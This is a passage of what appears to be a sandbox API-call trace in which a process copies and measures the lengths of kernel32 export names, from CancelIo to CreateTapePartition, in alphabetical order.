lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0120.368] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0120.368] lstrlenA (lpString="CANCELIO") returned 8 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0120.368] lstrlenA (lpString="CANCELIOEX") returned 10 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0120.368] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0120.368] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0120.368] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0120.368] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0120.368] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0120.368] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0120.369] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0120.369] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0120.369] lstrlenA (lpString="CHECKELEVATION") returned 14 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0120.369] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0120.369] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0120.369] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0120.369] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0120.369] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0120.369] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0120.369] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0120.369] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0120.369] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0120.369] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0120.369] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0120.369] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0120.369] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0120.369] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0120.369] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0120.369] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0120.370] lstrlenA (lpString="CLOSESTATE") returned 10 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0120.370] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0120.370] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0120.370] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0120.370] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0120.370] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0120.370] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0120.370] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0120.370] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0120.370] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0120.370] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0120.370] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0120.370] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0120.370] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0120.370] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0120.370] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0120.370] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0120.370] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0120.370] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0120.371] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0120.371] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0120.371] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0120.371] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0120.371] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0120.371] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0120.371] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0120.371] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0120.371] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0120.371] lstrlenA (lpString="COPYCONTEXT") returned 11 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0120.371] lstrlenA (lpString="COPYFILE2") returned 9 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0120.371] lstrlenA (lpString="COPYFILEA") returned 9 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0120.371] lstrlenA (lpString="COPYFILEEXA") returned 11 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0120.371] lstrlenA (lpString="COPYFILEEXW") returned 11 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0120.371] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0120.371] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0120.371] lstrlenA (lpString="COPYFILEW") returned 9 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0120.371] lstrlenA (lpString="COPYLZFILE") returned 10 [0120.371] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0120.372] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0120.372] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0120.372] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0120.372] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0120.372] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0120.372] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0120.372] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0120.372] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0120.372] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0120.372] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0120.372] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0120.372] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0120.372] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0120.372] lstrlenA (lpString="CREATEEVENTA") returned 12 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0120.372] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0120.372] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0120.372] lstrlenA (lpString="CREATEEVENTW") returned 12 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0120.372] lstrlenA (lpString="CREATEFIBER") returned 11 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0120.372] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0120.372] lstrlenA (lpString="CREATEFILE2") returned 11 [0120.372] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0120.373] lstrlenA (lpString="CREATEFILEA") returned 11 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0120.373] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0120.373] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0120.373] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0120.373] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0120.373] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0120.373] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0120.373] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0120.373] lstrlenA (lpString="CREATEFILEW") returned 11 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0120.373] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0120.373] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0120.373] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0120.373] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0120.373] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0120.373] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0120.373] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0120.373] lstrlenA (lpString="CREATEJOBSET") returned 12 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0120.373] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0120.373] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0120.373] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0120.373] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0120.373] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0120.374] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0120.374] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0120.374] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0120.374] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0120.374] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0120.374] lstrlenA (lpString="CREATEPIPE") returned 10 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0120.374] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0120.374] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0120.374] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0120.374] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0120.374] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0120.374] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0120.374] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0120.374] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0120.374] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0120.374] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0120.374] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0120.374] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0120.374] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0120.374] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0120.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0120.375] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0120.375] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0120.375] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0120.375] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0120.375] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0120.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0120.375] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0120.375] lstrcpyA (in: 